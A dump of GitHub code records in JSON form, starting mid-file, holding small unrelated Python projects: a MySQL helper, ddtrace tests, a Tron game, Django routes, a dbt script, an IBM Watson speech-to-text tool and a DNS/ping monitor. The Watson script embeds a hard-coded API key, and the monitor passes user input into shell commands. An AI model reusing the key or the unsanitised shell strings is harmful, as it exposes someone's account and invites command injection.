0\n\n\t\tself.connection = MySQLdb.connect(host=self.host, user=self.user, passwd=self.passwd, db=self.db, charset=\"utf8\", use_unicode=True)\n\n\tdef log (self,msg):\n\t\tif self.logging is not None:\n\t\t\tself.logging.info (msg)\n\t\telse:\n\t\t\tprint(msg)\n\n\tdef close(self):\n\t\ttry:\n\t\t\tself.connection.close()\n\t\texcept Exception as e:\n\t\t\tself.log ( \"Erro 02 ao fechar conexao com o banco: \" + str(e))\n\n\tdef exec_query(self, query):\n\t\ttry:\n\t\t\tcursor = self.connection.cursor()\n\t\t\tcursor.execute(query)\n\t\t\tself.connection.commit()\n\n\t\t\ttry:\n\t\t\t\tself.lastID = cursor.lastrowid\n\t\t\texcept Exception as a:\n\t\t\t\tself.log ( \"nao pegou ultimo id: \" + str(a))\n\t\t\t\tself.lastID = 0\n\n\t\t\tresult = cursor.fetchone()\n\t\t\tif result is not None:\n\t\t\t\treturn result[0]\n\n\t\t\treturn 0\n\n\t\texcept Exception as e:\n\t\t\tself.log ( \"Erro 01 na execucao da query: \" + str(e))\n\t\t\ttry:\n\t\t\t\tself.connection.rollback()\n\n\t\t\texcept Exception as er:\n\t\t\t\tself.log ( \"Erro 03 de conexao com o banco: \" + str(er))\n\t\t\n\t\treturn None\n\t\t\n\tdef select_to_json(self, query):\n\n\t\ttry:\n\t\t\t#print \"dbData: \", query\n\t\t\tcursor = self.connection.cursor( MySQLdb.cursors.DictCursor )\n\t\t\tcursor.execute(query)\n\n\t\t\treturn cursor.fetchall()\n\t\t\n\t\texcept Exception as e:\n\t\t\tself.log ( \"Erro 04 na execucao da query: \" + str(e))\n\t\t\t\n\t\tself.log(\"dbData::select_to_json: \", query)\n\t\treturn None\n\n\tdef select_to_csv(self, query):\n\t\ttry:\n\t\t\tcursor = self.connection.cursor()\n\t\t\tcursor.execute(query)\n\n\t\t\treturn cursor.fetchall()\n\n\t\texcept Exception as e:\n\t\t\tself.log ( \"Erro 05 na execucao da query: \" + str(e))\n\n\t\treturn None\n\n\tdef getLastID(self):\n\t\treturn self.lastID\n\n\n","repo_name":"Charlie5DH/BigStone","sub_path":"old.frontend/AutomacaoCantina-master/lib/db_data.py","file_name":"db_data.py","file_ext":"py","file_size_in_byte":1927,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"8789173772","text":"#palindrom\n#palendrom\nword=input(\"insert word \")\npalindrom=True\nprint(word)\nfor i in range(0, int(len(word)/2)):\n if word[i] != word[len(word)-1-i]:\n palindrom=False\nif palindrom:\n print(\"it is palindrom\")\nelse:\n print(\"it is not\") \n ","repo_name":"Biruk-abdissa/engim_gitrepo","sub_path":"palindrom.py","file_name":"palindrom.py","file_ext":"py","file_size_in_byte":267,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"2139795054","text":"from datetime import datetime\nimport json\nimport logging\nimport os\nimport re\nimport subprocess\nimport sys\n\nimport mock\nimport pytest\n\nimport ddtrace\nfrom ddtrace.internal import debug\nimport ddtrace.sampler\nfrom tests.subprocesstest import SubprocessTestCase\nfrom tests.subprocesstest import run_in_subprocess\n\nfrom .test_integration import AGENT_VERSION\n\n\npytestmark = pytest.mark.skipif(AGENT_VERSION == \"testagent\", reason=\"The test agent doesn't support startup logs.\")\n\n\ndef re_matcher(pattern):\n pattern = re.compile(pattern)\n\n class Match:\n def __eq__(self, other):\n return pattern.match(other)\n\n return Match()\n\n\ndef test_standard_tags():\n f = debug.collect(ddtrace.tracer)\n\n date = f.get(\"date\")\n assert isinstance(date, str)\n\n if sys.version_info >= (3, 7, 0):\n # Try to parse the date-time, only built-in way to parse\n # available in Python 3.7+\n date = datetime.fromisoformat(date)\n\n os_name = f.get(\"os_name\")\n assert isinstance(os_name, str)\n\n os_version = f.get(\"os_version\")\n assert isinstance(os_version, str)\n\n is_64_bit = f.get(\"is_64_bit\")\n assert isinstance(is_64_bit, bool)\n\n arch = f.get(\"architecture\")\n assert isinstance(arch, str)\n\n vm = f.get(\"vm\")\n assert isinstance(vm, str)\n\n pip_version = f.get(\"pip_version\")\n assert isinstance(pip_version, str)\n\n version = f.get(\"version\")\n assert isinstance(version, str)\n\n lang = f.get(\"lang\")\n assert lang == \"python\"\n\n in_venv = f.get(\"in_virtual_env\")\n assert in_venv is True\n\n lang_version = f.get(\"lang_version\")\n if sys.version_info == (3, 7, 0):\n assert \"3.7\" in lang_version\n elif sys.version_info == (3, 6, 0):\n assert \"3.6\" in lang_version\n elif sys.version_info == (2, 7, 0):\n assert \"2.7\" in lang_version\n\n agent_url = f.get(\"agent_url\")\n assert agent_url == \"http://localhost:8126\"\n\n assert \"agent_error\" in f\n agent_error = f.get(\"agent_error\")\n assert agent_error is None\n\n assert f.get(\"env\") == \"\"\n assert f.get(\"is_global_tracer\") is True\n assert f.get(\"tracer_enabled\") is True\n assert f.get(\"sampler_type\") == \"DatadogSampler\"\n assert f.get(\"priority_sampler_type\") == \"RateByServiceSampler\"\n assert f.get(\"service\") == \"\"\n assert f.get(\"dd_version\") == \"\"\n assert f.get(\"debug\") is False\n assert f.get(\"enabled_cli\") is False\n assert f.get(\"analytics_enabled\") is False\n assert f.get(\"log_injection_enabled\") is False\n assert f.get(\"health_metrics_enabled\") is False\n assert f.get(\"priority_sampling_enabled\") is True\n assert f.get(\"global_tags\") == \"\"\n assert f.get(\"tracer_tags\") == \"\"\n\n icfg = f.get(\"integrations\")\n assert icfg[\"django\"] == \"N/A\"\n assert icfg[\"flask\"] == \"N/A\"\n\n\ndef test_debug_post_configure():\n tracer = ddtrace.Tracer()\n tracer.configure(\n hostname=\"0.0.0.0\",\n port=1234,\n priority_sampling=True,\n )\n\n f = debug.collect(tracer)\n\n agent_url = f.get(\"agent_url\")\n assert agent_url == \"http://0.0.0.0:1234\"\n\n assert f.get(\"is_global_tracer\") is False\n assert f.get(\"tracer_enabled\") is True\n\n agent_error = f.get(\"agent_error\")\n # Error code can differ between Python version\n assert re.match(\"^Agent not reachable.*Connection refused\", agent_error)\n\n # Tracer doesn't support re-configure()-ing with a UDS after an initial\n # configure with normal http settings. So we need a new tracer instance.\n tracer = ddtrace.Tracer()\n tracer.configure(uds_path=\"/file.sock\")\n\n f = debug.collect(tracer)\n\n agent_url = f.get(\"agent_url\")\n assert agent_url == \"unix:///file.sock\"\n\n agent_error = f.get(\"agent_error\")\n assert re.match(\"^Agent not reachable.*No such file or directory\", agent_error)\n\n\nclass TestGlobalConfig(SubprocessTestCase):\n @run_in_subprocess(\n env_overrides=dict(\n DD_AGENT_HOST=\"0.0.0.0\",\n DD_TRACE_AGENT_PORT=\"4321\",\n DD_TRACE_ANALYTICS_ENABLED=\"true\",\n DD_TRACE_HEALTH_METRICS_ENABLED=\"true\",\n DD_LOGS_INJECTION=\"true\",\n DD_ENV=\"prod\",\n DD_VERSION=\"123456\",\n DD_SERVICE=\"service\",\n DD_TAGS=\"k1:v1,k2:v2\",\n )\n )\n def test_env_config(self):\n f = debug.collect(ddtrace.tracer)\n assert f.get(\"agent_url\") == \"http://0.0.0.0:4321\"\n assert f.get(\"analytics_enabled\") is True\n assert f.get(\"health_metrics_enabled\") is True\n assert f.get(\"log_injection_enabled\") is True\n assert f.get(\"priority_sampling_enabled\") is True\n assert f.get(\"env\") == \"prod\"\n assert f.get(\"dd_version\") == \"123456\"\n assert f.get(\"service\") == \"service\"\n assert f.get(\"global_tags\") == \"k1:v1,k2:v2\"\n assert f.get(\"tracer_tags\") in [\"k1:v1,k2:v2\", \"k2:v2,k1:v1\"]\n assert f.get(\"tracer_enabled\") is True\n\n icfg = f.get(\"integrations\")\n assert icfg[\"django\"] == \"N/A\"\n\n @run_in_subprocess(\n env_overrides=dict(\n DD_TRACE_AGENT_URL=\"http://0.0.0.0:1234\",\n )\n )\n def test_trace_agent_url(self):\n f = debug.collect(ddtrace.tracer)\n assert f.get(\"agent_url\") == \"http://0.0.0.0:1234\"\n\n @run_in_subprocess(\n env_overrides=dict(\n DD_TRACE_AGENT_URL=\"http://localhost:8126\",\n DD_TRACE_STARTUP_LOGS=\"1\",\n )\n )\n def test_tracer_loglevel_info_connection(self):\n tracer = ddtrace.Tracer()\n tracer.log = mock.MagicMock()\n tracer.configure()\n assert tracer.log.log.mock_calls == [mock.call(logging.INFO, re_matcher(\"- DATADOG TRACER CONFIGURATION - \"))]\n\n @run_in_subprocess(\n env_overrides=dict(\n DD_TRACE_AGENT_URL=\"http://0.0.0.0:1234\",\n DD_TRACE_STARTUP_LOGS=\"1\",\n )\n )\n def test_tracer_loglevel_info_no_connection(self):\n tracer = ddtrace.Tracer()\n tracer.log = mock.MagicMock()\n tracer.configure()\n # Python 2 logs will go to stderr directly since there's no log handler\n if ddtrace.compat.PY3:\n assert tracer.log.log.mock_calls == [\n mock.call(logging.INFO, re_matcher(\"- DATADOG TRACER CONFIGURATION - \")),\n mock.call(logging.WARNING, re_matcher(\"- DATADOG TRACER DIAGNOSTIC - \")),\n ]\n\n @run_in_subprocess(\n env_overrides=dict(\n DD_TRACE_AGENT_URL=\"http://0.0.0.0:1234\",\n )\n )\n def test_tracer_loglevel_info_no_connection_py2_handler(self):\n tracer = ddtrace.Tracer()\n tracer.log = mock.MagicMock()\n logging.basicConfig()\n tracer.configure()\n if ddtrace.compat.PY2:\n assert tracer.log.log.mock_calls == []\n\n @run_in_subprocess(\n env_overrides=dict(\n DD_TRACE_AGENT_URL=\"http://0.0.0.0:1234\",\n DD_TRACE_STARTUP_LOGS=\"0\",\n )\n )\n def test_tracer_log_disabled_error(self):\n tracer = ddtrace.Tracer()\n tracer.log = mock.MagicMock()\n tracer.configure()\n assert tracer.log.log.mock_calls == []\n\n @run_in_subprocess(\n env_overrides=dict(\n DD_TRACE_AGENT_URL=\"http://0.0.0.0:8126\",\n DD_TRACE_STARTUP_LOGS=\"0\",\n )\n )\n def test_tracer_log_disabled(self):\n tracer = ddtrace.Tracer()\n tracer.log = mock.MagicMock()\n tracer.configure()\n assert tracer.log.log.mock_calls == []\n\n @run_in_subprocess(\n env_overrides=dict(\n DD_TRACE_AGENT_URL=\"http://0.0.0.0:8126\",\n )\n )\n def test_tracer_info_level_log(self):\n logging.basicConfig(level=logging.INFO)\n tracer = ddtrace.Tracer()\n tracer.log = mock.MagicMock()\n tracer.configure()\n assert tracer.log.log.mock_calls == []\n\n\ndef test_to_json():\n info = debug.collect(ddtrace.tracer)\n json.dumps(info)\n\n\ndef test_agentless(monkeypatch):\n monkeypatch.setenv(\"AWS_LAMBDA_FUNCTION_NAME\", \"something\")\n tracer = ddtrace.Tracer()\n info = debug.collect(tracer)\n\n assert info.get(\"agent_url\", \"AGENTLESS\")\n\n\ndef test_different_samplers():\n tracer = ddtrace.Tracer()\n tracer.configure(sampler=ddtrace.sampler.RateSampler())\n info = debug.collect(tracer)\n\n assert info.get(\"sampler_type\") == \"RateSampler\"\n\n\ndef test_error_output_ddtracerun_debug_mode():\n p = subprocess.Popen(\n [\"ddtrace-run\", \"python\", \"tests/integration/hello.py\"],\n env=dict(DD_TRACE_AGENT_URL=\"http://localhost:8126\", DATADOG_TRACE_DEBUG=\"true\", **os.environ),\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n )\n p.wait()\n assert b\"Test success\" in p.stdout.read()\n assert b\"DATADOG TRACER CONFIGURATION\" in p.stderr.read()\n assert b\"DATADOG TRACER DIAGNOSTIC - Agent not reachable\" not in p.stderr.read()\n\n # No connection to agent, debug mode enabled\n p = subprocess.Popen(\n [\"ddtrace-run\", \"python\", \"tests/integration/hello.py\"],\n env=dict(DD_TRACE_AGENT_URL=\"http://localhost:4321\", DATADOG_TRACE_DEBUG=\"true\", **os.environ),\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n )\n p.wait()\n assert b\"Test success\" in p.stdout.read()\n stderr = p.stderr.read()\n assert b\"DATADOG TRACER CONFIGURATION\" in stderr\n assert b\"DATADOG TRACER DIAGNOSTIC - Agent not reachable\" in stderr\n\n\ndef test_error_output_ddtracerun():\n # Connection to agent, debug mode disabled\n p = subprocess.Popen(\n [\"ddtrace-run\", \"python\", \"tests/integration/hello.py\"],\n env=dict(DD_TRACE_AGENT_URL=\"http://localhost:8126\", DATADOG_TRACE_DEBUG=\"false\", **os.environ),\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n )\n p.wait()\n assert b\"Test success\" in p.stdout.read()\n stderr = p.stderr.read()\n assert b\"DATADOG TRACER CONFIGURATION\" not in stderr\n assert b\"DATADOG TRACER DIAGNOSTIC - Agent not reachable\" not in stderr\n\n # No connection to agent, debug mode disabled\n p = subprocess.Popen(\n [\"ddtrace-run\", \"python\", \"tests/integration/hello.py\"],\n env=dict(DD_TRACE_AGENT_URL=\"http://localhost:4321\", DATADOG_TRACE_DEBUG=\"false\", **os.environ),\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n )\n p.wait()\n assert b\"Test success\" in p.stdout.read()\n stderr = p.stderr.read()\n assert b\"DATADOG TRACER CONFIGURATION\" not in stderr\n assert b\"DATADOG TRACER DIAGNOSTIC - Agent not reachable\" not in stderr\n","repo_name":"edwarda7/Datadog-s-tracing-library","sub_path":"tests/integration/test_debug.py","file_name":"test_debug.py","file_ext":"py","file_size_in_byte":10465,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"3336027292","text":"\"\"\"Tron, classic arcade game.\r\n\r\nExercises\r\n\r\n1. Make the tron players faster/slower.\r\n2. Stop a tron player from running into itself.\r\n3. Allow the tron player to go around the edge of the screen.\r\n4. How would you create a computer player?\r\n\r\n\"\"\"\r\n\r\n\"\"\"\r\nRule:-\r\n1. we have blue & red snake and they are operated by different keys.\r\n2. This is a multiplayer game, where the player try to avoid colliding anything.\r\n\"\"\"\r\n\r\nfrom turtle import *\r\nfrom freegames import square, vector\r\n\r\np1xy = vector(-100, 0) #first snake position\r\np1aim = vector(4, 0) #setting the amount of pixel to move(4px horizontly right side)\r\np1body = set() #taking an empty set which stores first snake body points\r\n\r\np2xy = vector(100, 0) #second snake position\r\np2aim = vector(-4, 0) #setting the amount of pixel to move(4px horizontly left side)\r\np2body = set() #taking an empty set which stores second snake body points\r\n\r\ndef inside(head):\r\n \"\"\"Return True if head inside screen.\"\"\"\r\n return -200 < head.x < 200 and -200 < head.y < 200\r\n\r\ndef draw():\r\n \"Advance players and draw game.\"\r\n p1xy.move(p1aim) #moving the first snake by p1aim which we set earlier\r\n p1head = p1xy.copy() #copying the x,y coordinates to p1head \r\n\r\n p2xy.move(p2aim) #moving the second snake by p2aim which we set earlier\r\n p2head = p2xy.copy() #copying the x,y coordinates to p2head \r\n\r\n if not inside(p1head) or p1head in p2body: #if red snake touches the screen or blue snake then blue wins\r\n print('Player blue wins!')\r\n return\r\n\r\n if not inside(p2head) or p2head in p1body: #if blue snake touches the screen or red snake then red wins\r\n print('Player red wins!')\r\n return\r\n\r\n p1body.add(p1head) #storing p1head(which we copied) to p1body \r\n p2body.add(p2head) #storing p2head(which we copied) to p2body \r\n\r\n square(p1xy.x, p1xy.y, 3, 'red') #drawing body of first snake from all the stored coordinates, 3 is pensize\r\n square(p2xy.x, p2xy.y, 3, 'blue') #drawing body of second snake from all the stored coordinates, 3 is pensize\r\n update()\r\n ontimer(draw, 50) #drawing delay by 50ms\r\n\r\nsetup(420, 420, 370, 0)\r\nhideturtle()\r\ntracer(False)\r\nlisten() #for listening the input from keyboard\r\nonkey(lambda: p1aim.rotate(90), 'a') #if we press 'a' then first snake will move left by 90 degree.\r\nonkey(lambda: p1aim.rotate(-90), 'd') #if we press 'd' then first snake will move right by 90 degree.\r\nonkey(lambda: p2aim.rotate(90), 'j') #if we press 'j' then second snake will move left by 90 degree.\r\nonkey(lambda: p2aim.rotate(-90), 'l') #if we press 'l' then second snake will move left by 90 degree.\r\ndraw() #calling draw function that we made\r\ndone()\r\n","repo_name":"rohit679/Pygame-Projects","sub_path":"pygame project/tron/tron.py","file_name":"tron.py","file_ext":"py","file_size_in_byte":2707,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"82"} +{"seq_id":"26997269984","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Sep 9 21:59:10 2022\n\n@author: patry\n\"\"\"\nimport sys \n\nif len(sys.argv)!= 2:\n sys.exit('error')\nSeparateur=' '\nstring=sys.argv[1]\ndef separateur(string,Separateur):\n def split(s):\n return [char for char in s]\n \n string=sys.argv[1]\n string_split=split(string)\n L=len(string_split)\n b=0\n for i in range(0,L):\n if string_split[i]== str(Separateur):\n stringprint= \"\".join(string_split[b:i])\n \n print(stringprint)\n b=i+1\n stringprint=\"\".join(string_split[b:])\n print(stringprint)\n \nseparateur(string, Separateur)\n","repo_name":"loicpatry/shell","sub_path":"air/air01.py","file_name":"air01.py","file_ext":"py","file_size_in_byte":664,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"16757986561","text":"from django.urls import path, include, re_path\nfrom rest_framework.routers import DefaultRouter\nfrom . import views\n\n\nrouter = DefaultRouter()\nrouter.register(\n \"\", views.PageViewSet, basename=\"pages\",\n)\nrouter.register(\n r\"(?P\\d+)/questions\", views.QuestionViewSet, basename=\"questions\",\n)\nrouter.register(\n r\"(?P\\d+)/questions/(?P\\d+)/comments\",\n views.CommentViewSet,\n basename=\"comments\",\n)\n\n\nurlpatterns = [\n path(\"\", include(router.urls)),\n]\n","repo_name":"Worka-AcrossTheLine/Worka-server","sub_path":"question/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":497,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"72058068427","text":"#!/usr/bin/env python\n\nimport inspect\nimport json\nfrom dataclasses import dataclass\nfrom typing import List, Optional, Iterable, Union, Dict, Any\nfrom dbt.dataclass_schema import dbtClassMixin\n\n\nfrom dbt.context.base import BaseContext\nfrom dbt.context.target import TargetContext\nfrom dbt.context.providers import ModelContext, MacroContext\n\n\nCONTEXTS_MAP = {\n \"base\": BaseContext,\n \"target\": TargetContext,\n \"model\": ModelContext,\n \"macro\": MacroContext,\n}\n\n\n@dataclass\nclass ContextValue(dbtClassMixin):\n name: str\n value: str # a type description\n doc: Optional[str]\n\n\n@dataclass\nclass MethodArgument(dbtClassMixin):\n name: str\n value: str # a type description\n\n\n@dataclass\nclass ContextMethod(dbtClassMixin):\n name: str\n args: List[MethodArgument]\n result: str # a type description\n doc: Optional[str]\n\n\n@dataclass\nclass Unknown(dbtClassMixin):\n name: str\n value: str\n doc: Optional[str]\n\n\nContextMember = Union[ContextValue, ContextMethod, Unknown]\n\n\ndef _get_args(func: inspect.Signature) -> Iterable[MethodArgument]:\n found_first = False\n for argname, arg in func.parameters.items():\n if found_first is False and argname in {\"self\", \"cls\"}:\n continue\n if found_first is False:\n found_first = True\n\n yield MethodArgument(\n name=argname,\n value=inspect.formatannotation(arg.annotation),\n )\n\n\ndef collect(cls):\n values = []\n for name, v in cls._context_members_.items():\n attrname = cls._context_attrs_[name]\n attrdef = getattr(cls, attrname)\n doc = getattr(attrdef, \"__doc__\")\n if inspect.isfunction(attrdef):\n sig = inspect.signature(attrdef)\n result = inspect.formatannotation(sig.return_annotation)\n sig_good_part = ContextMethod(\n name=name,\n args=list(_get_args(sig)),\n result=result,\n doc=doc,\n )\n elif isinstance(attrdef, property):\n sig = inspect.signature(attrdef.fget)\n sig_txt = inspect.formatannotation(sig.return_annotation)\n sig_good_part = ContextValue(name=name, value=sig_txt, doc=doc)\n else:\n sig_good_part = Unknown(name=name, value=repr(attrdef), doc=doc)\n values.append(sig_good_part)\n\n return values\n\n\n@dataclass\nclass ContextCatalog(dbtClassMixin):\n base: List[ContextMember]\n target: List[ContextMember]\n model: List[ContextMember]\n macro: List[ContextMember]\n schema: Dict[str, Any]\n\n\ndef main():\n catalog = ContextCatalog(\n base=collect(BaseContext),\n target=collect(TargetContext),\n model=collect(ModelContext),\n macro=collect(MacroContext),\n schema=ContextCatalog.json_schema(),\n )\n print(json.dumps(catalog.to_dict()))\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"dbt-labs/dbt-core","sub_path":"scripts/collect-dbt-contexts.py","file_name":"collect-dbt-contexts.py","file_ext":"py","file_size_in_byte":2888,"program_lang":"python","lang":"en","doc_type":"code","stars":7817,"dataset":"github-code","pt":"82"} +{"seq_id":"42435109876","text":"# Speech to Text\n#--Note - Make sure IBM watson is installed in the machine that is running the program--#\n#!pip install ibm_watson\n\nimport os\nprint(\"Program Start\")\n\nfrom ibm_watson import SpeechToTextV1\nfrom ibm_watson.websocket import RecognizeCallback, AudioSource \nfrom ibm_cloud_sdk_core.authenticators import IAMAuthenticator\napikey = '51x-ngcakJzHLFpWuui5HJzFxXJRk1pjj3pWearbD0Zd'\nurl = 'https://api.us-east.speech-to-text.watson.cloud.ibm.com/instances/909ebd47-5e2d-41f3-9cd6-98209ec4a411'\n\n# Setup Service\nauthenticator = IAMAuthenticator(apikey)\nstt = SpeechToTextV1(authenticator=authenticator)\nstt.set_service_url(url)\nprint(stt)\nfile_path = \"Audiofiles/\"\naudio_file_list = []\ntext_file_list = []\n\n\n\n\"\"\"\nFunction Name : Speech_to_text\nInput : Audio File (.wav format only)\nOutput : None\nDescription : This function sends data to IBM cloud and performs analysis. It takes\n audiofile as an input and writes the text to respective text file.\n**Note - Code is written in such a way that there is audio and respective text file will have the same \nfile name\n\"\"\"\n\ndef Speech_to_text(audiofile):\n with open(audiofile, 'rb') as f:\n res = stt.recognize(audio=f, content_type='audio/wav', model='en-US_NarrowbandModel', continuous=True).get_result()\n text = ''\n try:\n for i in range(len(res['results'])):\n text+=res['results'][i]['alternatives'][0]['transcript']\n except KeyError:\n text = \"No valid Audio Present\"\n text_file = audiofile.replace('.wav','.txt')\n text_object = open(text_file,\"w\")\n n = text_object.write(text)\n text_object.close()\n\n\n\n\"\"\"\nFunction Name : Convert_folder\nInput : file_path (string)\nOutput : None\nDescription : Takes the path of the audiofiles and converts to text if text was not already generated.\n\"\"\"\n\n\ndef Convert_folder(file_path):\n for file in os.listdir(file_path):\n if \".wav\" in file:\n audio_file_list.append(file)\n if '.txt' in file:\n text_file_list.append(file)\n for audiofile in audio_file_list:\n textfile = audiofile.replace('.wav','.txt')\n if textfile not in text_file_list:\n print(\"performing coversion of\",audiofile)\n Speech_to_text(file_path+audiofile)\nConvert_folder(file_path)\nprint(\"Done !\")\n","repo_name":"8-bit-owl/Speech_Recognition","sub_path":"Speech_to_text.py","file_name":"Speech_to_text.py","file_ext":"py","file_size_in_byte":2379,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"37452584360","text":"from os import system, getlogin\r\nfrom time import localtime, sleep\r\nfrom subprocess import check_output, DEVNULL\r\nimport re\r\nippattern= re.compile(r'(\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3})')\r\n\r\ntargetMachine = input(\"enter target host: \\n\")\r\nusername = input(\"enter username: \\n\")\r\nme=getlogin()\r\n\r\nvalidIP=False\r\nwhile not validIP:\r\n rightIP = input(\"enter correct IP: \\n\")\r\n if ippattern.search(rightIP):\r\n validIP=True\r\n else:\r\n print(\"Invalid IP. \")\r\nsystem('cls')\r\n\r\nfirstrun=True\r\ntrackedIPs=[]\r\n\r\ndef currentTime():\r\n return str(localtime()[3])+':'+str(localtime()[4]).zfill(2)\r\n\r\ndef determinePinging(targetIP):\r\n global pinging\r\n try:\r\n samplestatus=bool(str(check_output(\"ping -n 1 \"+targetIP)).count('TTL'))\r\n except Exception:\r\n samplestatus=0\r\n if samplestatus:\r\n for knownIP in trackedIPs:\r\n if knownIP['Address'] == targetIP:\r\n knownIP['LastPinged'] = currentTime()\r\n return True,None\r\n else:\r\n lastping = 'never'\r\n for knownIP in trackedIPs:\r\n if knownIP['Address'] == targetIP: \r\n lastping=knownIP['LastPinged']\r\n return False, lastping\r\n\r\ndef determineNSResolution():\r\n global currentResolution\r\n addresses =[]\r\n for line in check_output(\"nslookup \"+targetMachine, stderr=DEVNULL).splitlines()[4:]:\r\n try:\r\n addresses.append(ippattern.search(str(line))[0])\r\n except:\r\n pass\r\n for justSeenIP in addresses:\r\n unique=True\r\n for knownIP in trackedIPs:\r\n if knownIP['Address'] == justSeenIP:\r\n knownIP['LastResolved'] = currentTime()\r\n unique=False\r\n if unique:\r\n trackedIPs.append({'Address':justSeenIP, 'LastResolved':currentTime(), 'LastPinged':'never'})\r\n currentResolution = (addresses)\r\n\r\ndef checkReverse():\r\n global currentResolution\r\n global reverseResolution\r\n reverseList = []\r\n for ip in currentResolution:\r\n try:\r\n if str(check_output('nslookup '+ip).upper()).count(targetMachine.upper()):\r\n reverseList.append((ip, True))\r\n else:\r\n reverseList.append((ip, False))\r\n except:\r\n reverseList.append((ip, False))\r\n\r\n reverseResolution = reverseList\r\n \r\n\r\nstatus=('firstrun',currentTime())\r\n\r\ndef statusUpdate(newStatus):\r\n global status\r\n if newStatus != status[0]:\r\n system(\"title = \"+targetMachine+\" \"+username+\" \"+newStatus)\r\n if status[0] != 'firstrun':\r\n system(\"(((echo \"+username+\" at \"+targetMachine+\") & echo old status [since \"+status[1]+\"] \"+status[0]+\" ) & echo new status [since \"+currentTime()+\"] \"+newStatus+\") | msg \"+me)\r\n status=(newStatus, currentTime())\r\n else:\r\n pass\r\n\r\n\r\n#Begin Main loop\r\n\r\nwhile True:\r\n if not firstrun:\r\n print('previously resolved IPs below. IPs are only ping-tested when they are being resolved by the name server.')\r\n for item in trackedIPs:\r\n print(item['Address']+'\\n last ping: '+item['LastPinged']+'\\n last dns: '+item['LastResolved'])\r\n print('\\n\\n\\nCURRENT RESULTS:')\r\n print('Reverse:')\r\n checkReverse()\r\n for item in reverseResolution:\r\n print(item[0]+' - '+str(item[1]))\r\n else:\r\n pass\r\n\r\n determineNSResolution()\r\n\r\n if len(currentResolution) == 0:\r\n print(\"hostname \"+targetMachine+\" is not resolving to any ip addresses\")\r\n system(\"color 40\")\r\n statusUpdate('NoForward')\r\n if determinePinging(rightIP)[0]:\r\n print(\"\\n However, \"+str(rightIP)+\" is pinging\")\r\n else:\r\n print(\"\\n\"+str(rightIP)+\" is also NOT pinging\")\r\n\r\n elif len(currentResolution) == 1:\r\n print(\"hostname \"+targetMachine+\" Resolving to \"+currentResolution[0]+\", pinging...\\n\")\r\n pingResults=determinePinging(currentResolution[0])\r\n if pingResults[0]:\r\n print(currentResolution[0]+\" is pinging\")\r\n if currentResolution[0]==rightIP:\r\n system(\"color 20\")\r\n statusUpdate('pinging expected')\r\n else:\r\n if determinePinging(rightIP)[0]:\r\n print(\"Different ip than expected is resolving and pinging:\\n \"+rightIP+\" (expected, not resolving, is pinging)\\n \"+currentResolution[0]+\" (currently resolving and pinging)\")\r\n system(\"color 30\")\r\n statusUpdate('Resolving & pinging different, pinging expected')\r\n else:\r\n print(\"Different ip than expected is resolving and pinging:\\n \"+rightIP+\" (expected, not resolving, not pinging)\\n \"+currentResolution[0]+\" (currently resolving and pinging)\")\r\n system(\"color 30\")\r\n statusUpdate('Resolving and pinging different')\r\n else:\r\n if currentResolution[0] != rightIP:\r\n print(currentResolution[0]+\" is NOT pinging. last successful ping was at \"+pingResults[1])\r\n if determinePinging(rightIP)[0]:\r\n print(\"Expected IP is pinging\\n \"+rightIP+\" (expected, not resolving, is pinging)\\n \"+currentResolution[0]+\" (currently resolving but not pinging)\")\r\n system(\"color 60\")\r\n statusUpdate(\"not pinging resolved. pinging expected.\")\r\n else:\r\n print(\"Expected IP is not pinging\\n \"+rightIP+\" (expected, not resolving, not pinging)\\n \"+currentResolution[0]+\" (currently resolving but not pinging)\")\r\n system(\"color 40\")\r\n statusUpdate('not pinging')\r\n else:\r\n print(\"Expected IP is resolving but not pinging\\n \"+rightIP+\" (expected, resolving, not pinging)\\n\")\r\n system(\"color 40\")\r\n statusUpdate('expected resolving but not pinging')\r\n\r\n elif len(currentResolution) > 1:\r\n pingingIPs=[]\r\n print(\"hostname \"+targetMachine+\" Resolving to multiple ips:\\n\")\r\n for ip in currentResolution:\r\n print(\" \"+ip)\r\n print('\\n******************** Ping testing resolved IPs...\\n')\r\n for ip in currentResolution:\r\n pingResults=determinePinging(ip)\r\n if pingResults[0]:\r\n print(ip+\" is pinging\")\r\n pingingIPs.append(ip)\r\n else:\r\n print(ip+\" is NOT pinging. last successful ping was at \"+pingResults[1])\r\n\r\n #screen color casing for instances with multiple resolved IPs\r\n if len(pingingIPs) == 0 :\r\n system(\"color 40\")\r\n statusUpdate('not pinging multiple')\r\n elif len(pingingIPs) == 1 :\r\n if pingingIPs.count(rightIP): \r\n system(\"color 20\")\r\n statusUpdate('pinging expected, multiple resolved')\r\n else:\r\n system(\"color 30\")\r\n print(\"Pinging different ip than expected:\\n (expected)\"+rightIP+\"\\n (currently resolving and pinging)\"+currentResolution[0])\r\n statusUpdate('pinging UNexpected')\r\n elif len(pingingIPs) > 1 :\r\n if pingingIPs.count(rightIP): \r\n system(\"color 20\")\r\n print(\"Pinging correct IP and unexpected IP(s). See above for details\")\r\n statusUpdate('pinging expected, and other(s)')\r\n else:\r\n system(\"color 30\")\r\n print(\"Pinging multiple unexpected IPs:\\n (expected)\"+rightIP+\"- See above for details\")\r\n statusUpdate('pinging multiple UNexpected')\r\n\r\n\r\n\r\n\r\n if firstrun:\r\n sleep(1)\r\n else:\r\n sleep(5)\r\n system('cls')\r\n 